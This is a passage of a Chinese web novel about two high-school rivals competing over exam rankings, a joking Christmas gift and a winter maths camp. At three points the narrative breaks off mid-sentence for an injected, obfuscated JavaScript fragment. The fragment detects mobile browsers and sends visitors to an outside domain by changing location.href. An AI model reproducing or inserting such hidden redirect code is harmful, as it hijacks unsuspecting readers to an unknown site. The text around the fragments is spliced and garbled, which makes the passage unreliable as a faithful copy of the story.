纪小鱼没有和何非亮分在一个考场,却在冥冥之中感受到了他的心跳——“噔、噔、噔、噔……” “哎呦,某人的心跳加快了,”纪小鱼借着脑电波揶揄道,“该不会是紧张了吧?” “呵呵。”何非亮冷酷的声音顺着脑电波回传入了纪小鱼的脑海,“我是看到这些题目都毫无难度,觉得自己又可以拿第一了,有点激动。” “神经病!” 纪小鱼甩了甩头,屏蔽了何非亮大放厥词、搞人心态的频道。 第一科考的照例是语文,这一次的题目出得非常有水平,纪小鱼越做越表示满意。 尤其是作文,考的是“时代浪潮中如何做好一名冲浪者”,他觉得自己有太多的话要写…… 【 人只不过是一根苇草,是自然界最脆弱的东西[1]。但人有智慧、有勇气,所以屡屡能看见人在自然界中展现出尊严和伟大。譬如冲浪——冲浪便是冲浪者,对恶劣环境发起的征战,对自身技巧颇为极致的展现。广袤的海洋中,他们的身影渺小如粟,却能够凭借着自己惊人的技巧,沉着地驾驭着脚下的冲浪板,在浪花飞腾间,将无比凶险的海洋闯荡成自己的舞台。 当我们为冲浪选手的精彩表现而赞叹鼓掌时,是否也意识到,我们自己也正置身于时代的狂潮中,直面着世界百年未有之大变局。君不见,国境之外,群狼环伺,野心勃勃,霸权之心不死,强权主义盛行,都想在富饶文明的华夏土地上瓜分下一块血淋淋的肉来;君不见,国境之内,亦有人心沉浮,为一己之利,害人民之利,为一己之欲,害子孙之利——这些都是扑面而来、无法避免的风浪。在这实现中华民族伟大复兴的关键时期,我们有如冲浪者,脚踩风浪,步步惊心。 惊涛骇浪已是定局,退缩唯有沉没。那么,如何才能战胜风浪,成为一名新时代里优秀的冲浪者呢?首先,我们要拥有可以驾驭风浪的技巧。正如冲浪者与浪花的搏斗不靠蛮力,而靠巧劲,方能以人有限之力胜自然无穷之力。也正如兵家所言,“上兵伐谋,其次伐交[2]”,大国博弈下,需要我们运用自己的智慧,审时度势,灵活变通,以力借力、以巧取胜,以最小的损耗谋求最大的胜局。 其次,我们要有合适尺寸的冲浪板和良好的身体素质,这是我们搏击风浪坚实的物质基础。选择合适尺寸的冲浪板,要求我们认清自己、善假于物。炼就良好的身体素质,往小处看,是个人的勤自锻炼,坚实体魄;往大处说,是于国而言的唯有自强,方能自保。打铁还需自身硬,经济强国、文化强国、科技兴国……这些,皆是牢牢承载起中华民族复兴之路的基石。自强之路上,昔有先辈精忠报国、勤恳耕耘,托举着我们向前;今亦需我辈继往开来、接力奋斗,夯实发展根基,照亮后之来者。 最后,我们还要有搏击风浪的勇气。面对风浪,林则徐洋洋洒洒写下“苟利国家生死以,岂因祸福避趋之[3]”;面对风浪,毛主席笑而自勉“与天奋斗,其乐无穷;与地奋斗,其乐无穷;与人奋斗,其乐无穷[4]”;面对风浪,我辈亦可以道一声——“谁怕!少年强则国强[5]!” 风急浪高,这是最坏的时代,也是最好的时代;置身浪潮,是挑战,也是机遇。海浪已经够高够大,接下来,就看我们的了! 愿相逢于中华乘风破浪时,愿相逢于中华腾飞世界时[6]! 】 一气呵成,纪小鱼掐着考试结束的铃声写下了最后一个感叹号,终于依依不舍地放下了手中汗津津的笔。 呼!真是绝世好文啊! 纪小鱼深深呼吸。 在等待收卷的时候,他一边欣赏着自己越看越完美的答卷,一边下意识地用拇指摩挲着中指关节处厚厚的茧子。他回忆起那些发狠的岁月、那些笔尖冒烟的时光、那些草稿纸上用墨水填满的印记、那些用到空管的笔芯,嘴角扬起了一丝历经沧桑后显得格外虚浮的笑,“呵呵,何非亮,你完了,我觉得我这次的作文,写得特别好……啧啧,这次考试,鹿死谁手,还真就不一定了!你就等着瞧吧!” 唉,可怜的纪小鱼——此时的他尚自还在窃喜,殊不知一个致命的疏漏已经犯下,足以让他在一个星期成绩出来以后捶胸顿足、以头抢地…… 一个星期以后,纪小鱼以一分之差惜败何非亮,遗憾地取得了九校联考中的第二名。 那一天——西风连夜闯入,气温骤降十度!好冷、好冷! 那一天——纪小鱼迎着凛凛寒风,呆呆地看着张贴出来的成绩榜单,看着自己的名字在何非亮的名字下瑟瑟发抖,心里不服气地想,好气哦,凭什么总是他第一、我第二?他满意,我生气?我到底哪里不如他了! 那一天——何非亮指着纪小鱼发下来的语文答题卡,故作好奇地问,“咦,小鱼,你的绝世好文怎么没写标题呢?” 纪小鱼:“!!!” 啊? 什么??? 真的假的??? 纪小鱼仿佛被一道从天而降的闪电劈中,“啪”的一下,神魂都被抽出了身体。 “啧啧,”何非亮摇了摇头,故作惋惜道,“按照评分标准,作文没写题目要扣两分呢。” 啊? 一缕游魂升起,从天花板上直勾勾地注视着作文格子纸上空空如也的顶行。 啊,那里怎么是空的呢? 啊,那里怎么能是空的呢? 噢,我想起来了!当时是觉得,构思中这么牛逼的文章,非得有一个特别牛逼的标题才配得上!最好要字字珠玑,对仗工整,发人深省,富有内涵!结果,写着写着,洋洋洒洒,就完全忘记了还有标题这一回事了。唉,哪怕随手写上一个“做好一名冲浪者”也行啊! 可恶,如果我再加上这两分、如果我再加上这两分…… 纪小鱼几乎要流下悔恨的泪水。 “嘶——这么说来——”何非亮欠扁的声音还在继续,他意有所指地停顿了一下,然后像是十分庆幸地感慨道,“哎呀,好险,好险!” 幽灵纪小鱼:“……本人已死,有事烧纸!” 恍恍惚惚,他脑海中回响的,竟然是圣诞节那天夏婵在街心公园里唱的歌——“心已成荒漠,还能否开出花朵?要流多少眼泪,才能够不再脆弱……” 伴随着歌声,记忆也开始回转…… 人刚来到这个世界上的时候,记忆是荒芜一片的么?流年里,有人栽下树,有人种了花,有人留下了一个小熊玩偶,有人踩下了一脚泥巴……于是记忆里的画面终于有了多姿多彩的样子。 走过的每一段路,结局不管是不是圆满,时光都已如开弓之箭一般一去不返。给每个人能留下的,最终也不过是一段记忆罢了。 纪小鱼永远记得高一新开学的那个早晨。那一天炽热的阳光把人间映照得一片光明,有的人相遇、有的人重逢。而他抬头仰望着新校园的教学楼,眼睛里流动着星河一样的光芒——紧张、期待、又欣喜,好像另一个世界正向他敞开。 一直到看见了宣传栏张贴着的分班考试排名,他的眉头才微微蹙起,压在他上面的那个耀武扬威的名字,看上去非常的可恶,也非常的熟悉! 何、非、亮! 很好,初中你侥幸没有和我在一个学校,高中……高中你逃不掉了!这一次,比你低了两分,是我一时大意!下一次,下一次我一定会终结你的胜利!你就等着好了! 纪小鱼的眼睛里燃烧起了两团充满战意的活火,气温在他周身百米内上升了0.6℃。 蒋小胖尤自不觉,在一旁叽叽喳喳地叫唤个不停,“哇,这个叫何非亮的真的好厉害诶!他考了第一名诶!哇,小鱼,你看他考的比你还要高诶!噢,天啊,这个分数是满分了吧?奇怪,他难道没有不会的么?他是不是整个暑假都在复习啊?他不喜欢出去玩吗……” 嘿呦,好气哦! 一席话如同烈火浇油,整个暑假都在拼命复习和预习的纪小鱼禁不住攥紧了双拳。 蒋小胖抬手擦了一把脸上流下来的汗,抱怨道,“哎呀,这个天气怎么越来越热了……” “第一名……”红着眼睛的纪小鱼从牙缝里挤出声音来,“不就是第一名吗……我,可取而代之!” “扑哧。” 话音刚落,纪小鱼就听到了一声近在耳边的嗤笑。 他回过头,朝笑声传来的方向看去,不幸地对上了何非亮的眼睛——一双阴险深邃、似笑非笑,像老狐狸一样老奸巨猾的眼睛。 救命啊!这人是从什么时候开始就站在我身后了啊! 纪小鱼目瞪口呆。 却只见何非亮用一种饶有兴味的目光审视着他,微微一笑道,“小鱼,好久不见。” …… 啊,纪小鱼甩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240419|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了甩头,这可真是个尴尬的回忆啊! 呜呼哀哉,若说人生如梦,偏又日日梦着他!这到底是怎么回事啊! 唉,转眼间,又过去了一年加半载,高二上学期就这样结束了,自己依然活得像一个小丑。上一次是古诗词默写不小心写了错别字、数学用了超纲的做法,这一次是作文忘记写标题……下一次呢?下一次又会因为什么输给他? 烦死了! 纪小鱼垂头丧气地趴在了桌子上。他想,他也会永远记得这一天。这一天这么冷,风里还夹杂着横飞的雨点。这一天他的心也这么冷,他因为自己的粗心,因为一个愚蠢的错误,弄丢了期盼已久的、本该属于自己的胜利。这种懊恼的感觉真是太不好了。 “哎呦。”何非亮顺了顺纪小鱼耷拉的头发,“小鱼,别难过了,我和你开玩笑的。你看你作文进步多大啊。” “哼。” “你数学考了满分耶!” “哼。” “放寒假啦,不开心吗?” “我没有不开心。” “我给你准备了礼物。” “啊?”纪小鱼这才从胳膊中抬起头来。 一棵小小的圣诞树,平平地立在何非亮的掌心。 圣诞树墨绿的枝叶间,垂坠着一小串一小串剔透的水晶灯,有的像银色的葡萄,有的像雪花的眼泪,有的像透明的星星,都恰到好处地发着柔和的光,看上去美极了。此外还有两个精巧的塑料小人。其中一个沿着圣诞树的树干向上爬,嘴角咧到耳根,笑得没心没肺。另一个小人站在圣诞树下,酷酷地把手插在口袋里,抬头仰望,他的脸也是酷酷的,却流露出微笑。 “啊?给我的吗?谢……谢谢。”纪小鱼呆呆地说。 “不用谢,”何非亮酷酷的脸上也流露出了微笑,“本来应该是圣诞节要给你的……算是作为你牙膏的回礼吧。” “该不会有什么阴谋吧?”纪小鱼狐疑地嘟囔道。他摆弄着手里做工精致的圣诞树模型,心里萦绕着几分挥之不去的忐忑——总觉得这东西美则美矣,但说不定是个定时炸弹。毕竟何非亮怎么可能有这么好心嘛,还给他送礼物! “当然有啊。”没想到何非亮竟然痛快地承认了。 只见他大大方方地伸出手,扭转了圣诞树底座隐藏的发条—— 圣诞树放出了音乐,是《铃儿响叮当》欢快的前奏,非常的应景。 哦,原来这个圣诞树模型同时也是一个音乐盒。 只是,这个接下来的歌词,就显得有点不对劲了…… “ 纪小鱼 纪小鱼 请不要生气 没考第一没关系生活还要再继续 纪小鱼 纪小鱼 请不要放弃 别灰心呀别气馁 明年还能再努力 …… ” 纪小鱼:“……” 何非亮笑眼弯弯,“喜欢吗?” 哈?什么? 纪小鱼震惊了。 喜——欢——吗??? ……天哪噜!世间竟有如此厚颜无耻之徒! 他明明知道——他明明知道,这首歌是多么的、多么的……嘲讽!他竟然还有脸问出这样的问题?喜欢吗?哦,我的天呐!他竟然还,有——脸——问!!? 银色的发条仍在旋转,欠扁的歌声循环往复,何非亮故作真诚的目光里藏着笑,看戏般地瞅着纪小鱼。 纪小鱼被这样的目光呛得一口气差点没喘上来——哦,苍天啊,何非亮这人的脸皮究竟是用什么材料做成的哦?这样子捉弄人,他难道不会有一点的心虚么,怎么还胆敢这样子看着我嘛? 有那么一瞬间,纪小鱼气得几乎想要变身成纪小狗,在何非亮的脸皮上狠狠地咬一口! 不过,他终于还是在三个深呼吸后冷静了下来。 很好!换一个角度想,这是一个非常好的礼物! 纪小鱼缓和了一下扭曲的面容,终于朝着何非亮硬挤出了一丝甜腻的笑容,“谢谢你哦,我很喜欢呢!” 笑容的背后,纪小鱼暗自立下决心——从今以后,他每天都要在家里循环播放这首歌三十遍,以此来提醒自己受过的屈辱,并且激励自己坚定持续地朝着“打败何非亮”这一伟大的奋斗目标砥砺前行。 决不放弃! 决不手软! 超级小鱼——认真学习!!! 65.第六十五章 数学集训 热闹是他们的,寒假也是。 正当纪小鱼筹谋着自己寒假的刷题大业时,严老师突然走进了教室,点了纪小鱼、何非亮,外加其他七八个同学的名字,叫他们全都去数学科组办公室一趟。 一群人浩浩荡荡地出动,吕天明也赫然在列。他一脸懵逼地走上前找纪小鱼打听,“好兄弟,咱们这是个什么情况啊?” “我也不知道。不过……呃……”纪小鱼瞥了一眼走在旁边的那个玉树临风的身影,撇了撇嘴,有点不情不愿地开口道,“何非亮也在,应该……应该是好事吧?” “我本来也是这么想的……”吕天明仍然是一副忧心忡忡的模样,他注视着已经出现在了视线范围内的办公室门牌,右眼皮狂跳不止——那扇洞开着的门,越看越像一个蛰伏着的、会吃人的怪兽,正长大了黑黝黝的嘴,守株待兔地等着他们…… “不!”吕天明在寒风中勾了勾脖子,在大冬天也雷打不动穿着短裤短袖的他,破天荒地感觉到了一种从大脑皮层渗出的凉意,一双腿几乎要瑟缩地挪不动步伐,“不!好兄弟,我的直觉告诉我,不、不是好事……” 但最终,他还是被众人簇拥着,走进了那扇格外让他心惊胆颤的门。 不大的办公室被挤得满满当当。严老师朝他们异常和蔼地笑了笑,“告诉大家一个好消息。” 纪小鱼保持着不动声色的模样,暗地里偷偷地拍了拍吕天明的手背,试图以此无声地安慰他——别慌啊!你看严老师都说了是一个好消息了!我感觉可能是要给我们颁奖。我猜猜,应该是——数~学~成~绩~优~秀~奖!嗯……? 他拍着的那只手突然反手摁住了他的指尖。 像电线接上了电源,纪小鱼瞬间被顺着指尖流窜过的电流“嗞啦啦”地电了一下。 他呆愣愣地低下头,疑惑又心惊地顺着自己被包裹着限制了自由的手指往上看去,终于和何非亮大眼对小眼了起来。 纪小鱼:“!!!” 救命啊! 天崩地裂啦,电闪雷鸣啦,快跑哇!纪小鱼感觉到大脑像被洗劫了一般,不仅一片空白甚至还有一点惊慌,然后他又觉得这可能不是“洗劫”,而是一场海啸,一山接一山高的海浪直拍打得他神志不清。 噢,拍打! 噢,拍打!!! 噢,天啊,自己刚才竟然拍错人了——并且拍到谁不好,偏偏拍到了何非亮! 恍惚间,纪小鱼看见何非亮用嘴形对他说,“别——捣——乱——” 哦,原来是以为他在“捣乱”…… 这样以后,纪小鱼终于感觉到捏着他手指的力度一松,他连忙将自己的手指飞速抽了出来,再一把插进了裤兜。左顾右盼之下,发现似乎没有人注意到他,这才暗自松了口气。 严老师不知什么时候已经进入了正题,说的大概是什么寒假有数学竞赛集训,为期两周,选取了这次期末考试数学140分以上的同学之类的。 纪小鱼听得晕晕乎乎的。 虽然刚才的风波并没有引起什么动乱,但总免不了内心晴天霹雳般的尴尬。尴尬到只要一想起来就会要脚趾抓地,试图扣出一条地缝让自己钻进去冷静一会。 最主要的问题可能出在……心理素质! 对呀,仔细想想,其实真的没有什么大不了的,自己那么慌干大概是因为心理素质还不够强。至于电流?Emm……冬天,天干物燥,充满电荷的物体难以向空气释放多余电子,因此物体内部正负电荷容易失衡产生静电,这是正常现象、非常正常的正常现象! 唉,还是好兄弟说得对,来这里的确不是什么好事。啊?严老师刚才说什么来着,集训?两周?啊?整个寒假不才两周半吗? 只听吕天明突然硬着头皮开口道,“严老师,可是我寒假要回老家。” “这是一个非常难得的机会——”严老师拉长的尾音里透露出了一丁点不高兴的语气。 “可是——哦,我那个回老家的票已经买好了。今晚、今晚就出发!而且,我其实觉得我平时的数学一般,这次只是碰巧考好了而已。真的,最后那几道选择题我不知道怎么就蒙对了,其实真的是瞎选的。”吕天明紧张地咽了口唾沫,大着胆子继续道,“咳,严老师啊,就我这个水平,那个竞赛去参加了大概率也没戏的。要不,要不这个机会就让给别的同学吧?” 吕天明像是在砧板上的一条活鱼,他的挣扎甩了严老师一脸水。 “那好吧,”严老师低头,她微笑着,当着在场所有同学的面,拨通了吕天明爸爸的电话,“我亲自和你的家长沟通一下。” 电话开了免提,吕天明脸色煞白地听见他的爸爸十分激动地感谢学校给了孩子这么个宝贵的学习机会,然后不停地保证,什么过年过节都可以往后放,学习才是最要紧的!买好了票算什么,票可以退,学习不能耽误!孩子就像树苗,能得到学校这样大力的栽培,做家长的实在是太感动了!还亲自让老师打电话来,哎呀哎呀,真是让老师费心了! 这下,其他敢有二心的同学也都纷纷像鹌鹑一样不敢吭声了。 纪小鱼也低着头不出声。他怕自己脸上流露出的窃喜招来仇恨。哎呀,吕天明爸爸说的多对啊,数学集训,这是一个非常宝贵的学习机会呢! “好了,你们可以回去了。”通知到位,严老师心满意足地拿起桌上军绿色的保温杯,悠哉悠哉地喝下了一口水,“明天早上八点,我希望可以看见你们每一个人准时到位。” 临走之前,纪小鱼注意到了严老师的办公桌上放着数学集训的完整名单,总共大概有十五个人。他匆匆扫过,竟然还看到了两个老熟人的名字。 高二B班,张朝。 高二D班,乔冬冬。 …… 哎呀,这下可热闹了。 - 第二天一早,纪小鱼大老远地就看见了乔冬冬威风凛凛地迎面走来。 她今天围了玫瑰红的围巾,远看倒是容光夺目,近看便能看出些睡眠不足的怨气。 正是:芙蓉为面偏含愠,柳叶为眉却生威。 本来还在和纪小鱼搭着话的张朝看见了乔冬冬径直走来,吓得连忙找了个借口溜去了不引人注目的墙根。 乔冬冬站定在了纪小鱼身前,四下巡视了一圈,皱着眉头问道,“大冷天的,干嘛都站在走廊上?” “老师还没来,”纪小鱼耸了耸肩膀,无奈地说,“教室门没开。” “哦。”乔冬冬双手抱臂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240420|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不太愉快地应了一声。 这间教室是专为数竞集训找来的,平时不怎么用,前后门都严严实实地紧锁着,钥匙大概还在老师手里。唯有一扇在高处的窗户没有合拢,勉强漏出了半臂宽的缝隙。已经到了的小同学们见状都只好无可奈何地先在门口候着,等着八点钟老师来开门,来得早的都已经快写完半本英语寒假作业了。 乔冬冬抬起头,目光冷冷地凝视向没有关拢的窗户,嘴角忽而扬起,浮现出了一丝嘲弄的笑意。 “啧。” 只见她一个干净利落的抬腿,脚尖往墙面上轻盈地一点,整个人随及便已弹跳上了窗沿,又跨坐在了更高一层的窗架上。一系列的动作只在眨眼之间,丝毫没有拖泥带水。众人目瞪口呆地看着她,好像看见了古装戏里动如脱兔、迅疾如风、本领高强的女侠。 在一片惊异的目光里,乔冬冬居高临下地低头睥睨了一圈,美眸流转,掠过了旁人,独独定在了纪小鱼仰起的脸上,红艳的唇中吐出了两个挑衅的字眼,“废、物。” 嘿,这就很针对了吧!!! 怎么能说人是废物呢?这真的很不礼貌耶! 哼!总而言之,用这种词,骂何非亮可以,骂我不行! 绝对不行!!! 纪小鱼被激得热血上涌,头皮发麻。他深切地感受到了自己的自尊心在大庭广众之下被毫不客气地踩了一脚,并且留下了一个耻辱的鞋印。 大红色围巾火辣辣地一晃,乔冬冬一个翻身,轻盈落地,从教室里面打开了门。 这样一来,她彻底成为了威风凛凛的女英雄。小同学间响起一阵欢呼,他们一个接一个,开开心心地走进了教室。 只留下纪小鱼还愣在原地——气、抖、冷! 嘶,就你会爬窗户吗??? 我也会啊!!! 我刚才只是没注意到窗户开着好吧!爬窗户这种事情根本就毫无难度! 说时迟那时快,纪小鱼一个箭步也直蹿上了窗沿,他又酷又飒地横出一条腿骑上了窗架,动作丝毫不逊,称得上是行云流水、一气呵成。 “诶诶诶,王教授这边请。”张校长满面春风地引着一个戴着眼镜、大腹便便的中年男子走来,他们俩身后亦步亦趋地跟着陪着笑的严老师。何非亮也随在其后,凝着目光,好像在认真思考些什么。 “这次参加集训的,”张校长骄傲地向王教授介绍道,“各个都是精心挑选的好苗子,我们S中最出类拔萃的学生……呃……” 张校长:“???” 王教授:“???” 严老师:“???” 何非亮:“小鱼……” 一行人的目光都不约而同地落在了正骑在窗沿的纪小鱼身上——可是,门明明是开着的啊。怎么有门不走爬窗户呢?这…… 纪小鱼尴尬了一秒,连忙灰溜溜地跳了下去,好像这样就能原地消失似的。 “贵校的学生,还真是……活泼啊。”王教授扶了扶滑下来的眼镜,打破了沉寂。 多年来读的书没有白费,这种情况鲁迅好像教过了要怎么做。张校长硬着头皮笑了,“啊呀!这孩子呵!您瞧!多么……啊唷!哈哈!Hehe!he,hehehehe![1]” 66.第六十六章 放大的点 王教授自然是姓王的,他的头发不多,眼里却闪烁着智慧的光芒。他看上去有点胖,尤其是凸显出来的肚量。他的穿着显得非常的朴实,只有手里皮质的公文包像是半新的。比他的穿着更朴实的,是他的PPT,不仅样式非常复古,上面的水印也暗暗地透露,王教授从教至少已经有二十余年了。张校长专门大老远的从Z大请到他来讲集训第一天上午的课程。从王教授滔滔不绝的自我介绍中,可以知道,原来张校长是他三十多年前的老同学。 讲了差不多有二十分钟,王教授终于有了点步入正题的意思,他一边说今天自己不是来讲题的,一边点开了他的PPT封面的下一页——哦,真有趣,是一道选择题! “来,”王教授和颜悦色地提问,“有没有哪位同学来黑板做一下?” 集训教室里的座位是单人单桌。纪小鱼紧张地缩在教室的最后一排,低下头躲避着和王教授任何有可能的对视。他的右手随意地支在桌面——表面上是在不经意地撑着脑袋,实际上是为了捂住下半张脸。这倒不是因为他害怕回答问题,而是决定要暂时先低调一点,千万不要引起什么特别的注意。 嗯……这样低着头,挡着脸,应该就看不见我了吧?或者至少就认不出我了吧? 唉,要是不幸被认出来了,又被知道了自己姓甚名谁,以这位王教授自我介绍时的话痨程度,保不准他的名声隔天就能传唱去遥远的Z大了。王教授会怎么说呢,大概会这么说——“我昨天去S中讲课。S中你们知道吧?S市最好的中学!这里就有一个叫纪小鱼的同学,啊,你说他怎么呢,有门不走,非要走窗户!这就好像你们做题,有简便的方法不用,非要绕一个大弯子,舍——近——求——远!” 纪小鱼不由地打了个寒颤。虽然说出名要趁早,但他可一点也不愿意用这种方式出名! 这样想着,他不由地往坐在前面的何非亮背后缩了缩,好像这样就又可以有多一重屏障似的。 王教授见没有人自告奋勇,手指越过了前面一串的同学,直直地指向坐在最后的纪小鱼,“来,这位爬窗户的同学,你叫什么名字。” “蒋小胖。”纪小鱼脱口而出。 脑子在嘴之后才反应过来,直接宕机,连带着撑着脸的手也一个仄歪。 哎呦,下巴差点狠狠地搁在桌面上了! 爬窗的同学?不、不是吧?我不是挡着脸了吗?这、这又是怎么认出来的? 呜呜呜,小胖,对不起,我不是故意的!我真的就是脱口而出!等我下课以后就来找你负荆请罪! “哈哈哈哈!”班里响起笑声。这其中以何非亮最为欠扁,以真正的“罪魁祸首”乔冬冬笑得最为大声。 “也不胖啊,”王教授笑眯眯地朝他招了招手,“来,你上来写这道题。” 事已至此,纪小鱼也只好硬着头皮走上了讲台,拿起粉笔,再次审了一下题。 唉,还好这道题一看就有思路,解起来除了步骤稍微有点繁琐,计算量估摸着有点大以外,其他方面基本毫无难度,耐心一点顺着解下去是肯定能做出来的,不然——就该给小胖丢脸了! 趁着纪小鱼在黑板上书写着解题步骤的间隙,王教授又开始自我介绍了,“忘了和大家说,本人的研究方向呢,就是几何拓扑学。啊,这么多年来,什么几何图形在我的眼里,基本上就是过目不忘。所以我认人也是,基本上就是看你们的形状,从来不会错的。哈哈、哈哈!” 纪小鱼听见了大家的笑声,也不知道他们是在笑王教授的冷笑话,还是在笑自己的倒霉。哎呀,差一点连加法都忘记进位了。 总算是煎熬地写完一连串的计算,这让纪小鱼鼓起了信心,“老师,这道题选C。” “哦,好的,小胖同学,你下去吧。”王教授端详着纪小鱼满满一黑板的板书,不置可否,又随手点了在一旁翘着二郎腿、看热闹不嫌事大的乔冬冬,“这位同学,你叫什么名字?” 乔冬冬站起身来,声音洪亮地答道,“我叫纪小鱼。” 纪小鱼目瞪口呆,在返回座位的路上差点一个踉跄,还好何非亮及时伸手扶住了他。 “来,小鱼同学,”王教授给出了一个鼓励的眼神,“你可以上来做一做这道题吗?” “老师,我不会!”乔冬冬理直气壮地说。 纪小鱼差点晕死过去。 “唔……不会也没关系。”王教授和蔼地笑了笑,他像是已经认识过何非亮了一样,直接点名道,“来,何非亮同学,你上来做。” 何非亮站起身,却没有动,他轻描淡写地开口道,“这题不用动笔,用极限的思维可以直接选C。” “嗯,很好,非常好!”王教授拿起黑板擦在纪小鱼辛辛苦苦写下的板书中间擦出了一个模糊的星云,然后在星云中心写上了两个飘逸的大字——“思维”。 “咳咳,”王教授清了清嗓子,继续道,“小鱼同学,你听好了哈,这道题其实很简单……小胖同学你也是,以后做选择题就不要再走弯路了……” 纪小鱼:“……” 蒋小胖:“啊嚏!啊——嚏!啊?有人在想我吗?” 纪小鱼觉得,这一定是他有史以来听得最心不在焉的一节数学课了。 - 午休的时候,纪小鱼一边吃饭,一边一五一十地把今天发生的故事在微信上和蒋小胖聊了起来。 蒋小胖在手机那头笑得乐不可支。 哈里皮特: 你不生气吗,小胖,我用了你的名字。 月月圆圆: 不生气啊,我觉得这个传出去很酷,像Spider-Man的故事! 哈里皮特: 呜呜呜,小胖,你最好了![流泪][流泪][流泪] 月月圆圆: 不过,那个乔冬冬为什么老是针对你呢?你和她有仇吗? 哈里皮特: 不知道啊。可能是艺术节我没有帮她的妹妹拿到第一名吧…… 哈里皮特: 可是话又说回来,那一点也不能怪我!我觉得我已经做得够好了! 哈里皮特: 甚至那个词也是我亲自作的咧!我尤其喜欢那句“繁花忽已谢成灰;故乡隔楚水难归”,你瞧,多有意境啊!不仅暗含着时与空的变迁和转移,还带押韵呢! 月月圆圆: [嗯嗯] 哈里皮特: 而且我事后想起来,这个是艺术节的表演不是吗?何非亮的表演虽然别出心裁了一点,但是很明显,我们的表演才更艺术好吧!何非亮拿第一是不公平的!是不公平的![快哭了] 哈里皮特: 小胖,你别不说话,你那天把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246215|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 票投给谁了? 月月圆圆: [语音]6'''' 小胖发来了一条语音,纪小鱼点开一听——“哦!多比不能说,先生,多比绝对不能说!哦!坏多比!坏多比![1]” 纪小鱼:“……” 时间一晃就到了下午。 还好张校长没有再续充王教授的出场费了,接下来在教室上课的就是严老师和另一位拿过CMO金牌的刘老师了。熟悉的声音,熟悉的教学方式,纪小鱼终于感受到自己的学习又步入了正轨。 这样一连几天过去,转眼就又到了星期五。今年的年过得特别早,明天就是除夕了。严老师提前和大家说了新年快乐,并且告诉他们接下来会有一个三天的小长假,可以好好放松休息一下。 “呵呵,”吕天明的面上波澜不惊,甚至有点想笑,“呵呵……三天……呵呵……长假……” 严老师一个眼刀横飞过去,截断了吕天明小声的吐槽。 纪小鱼同情地朝吕天明的方向望去,只见他面容虚浮无光,头发乱如杂草,眼睑松弛下垂,嘴角不住抽搐,失去了英豪的帅气,也不见了往日的活力,看上去不像是在教室里学习,倒更是在教室里流浪。 唉,纪小鱼其实可以理解他为什么这么难过。艺术节还没开始的时候,吕天明就开始和他掰扯寒假倒计时了。寒假是他期待了很久很久的事情。 “刚开学的时候,假期就好像是一个在远处静止不动的黑点,但它却是支撑着我这一整个学期的信念,”他借用了查尔斯·狄更斯的话,兴奋又忐忑地说,“经过了漫长时间的等待后,它才开始向我走来,而且越来越大。最后,放假的日子终于迅速地变换着位置,由下下个礼拜变成了下个礼拜,这个礼拜,后天,明天,今天,今晚——[2]” 很难想象,那个盼望已久的黑点放大以后竟然是数学老师,吕天明会有多崩溃。大概做梦都会被吓醒吧。 不过,当严老师终于宣布下课的时候,吕天明也是第一个冲出教室的。纪小鱼甚至还没来得及和他说一声新年快乐,就眼睁睁地见着他一溜烟儿跑没影了。 唉,真好! 纪小鱼叹了口气。 好兄弟这么着急着回去,是因为家里有等着他的人吧。 纪小鱼慢腾腾地收拾着书包,发现何非亮似乎也不急着走。 教室里空空荡荡,他们俩的影子被横斜而进的阳光拉得长长的,相依偎着一直延伸到墙根、窗沿,爬过了窗户,又在天花板上探出头来,有一种奇异的高大。空气里似乎有细碎的金子在飞。 “你明天有空吗?”纪小鱼清了清嗓子,斟酌地开口,“要不要一起去上次那家咖啡厅里学习?我觉得那里氛围不错,还挺安静的。” “那家咖啡厅啊,”何非亮沉吟了一下,“明天应该没开。” “哦。”纪小鱼闷闷地应了一声——也对,除夕节的店铺不开也是很正常的。 S市就是这样一个地方吧,平时热热闹闹,一过年反而冷冷清清,显露出了孤单的底色,大街上连车也没剩几辆了。 “要不来我家吧,”何非亮突然说,“我家没人。” “啊?” “我家人听说我要集训,就自己度假去了。” “哦,好啊。”纪小鱼慢吞吞地应道,“我家也是……差不多的情况。” 67.第六十七章 寄人篱下 纪小鱼已经在何非亮家楼下纠结地转了三圈了。 脑子里的小人们各执己见,七嘴八舌地吵着架。 一个说:“要不还是不去了吧,突然感觉好尴尬啊!” 一个说:“君子一言,驷马难追,你不是已经答应过要去了吗?” 又有一个说:“我又不是君子,我是小人,我想反悔就反悔!” 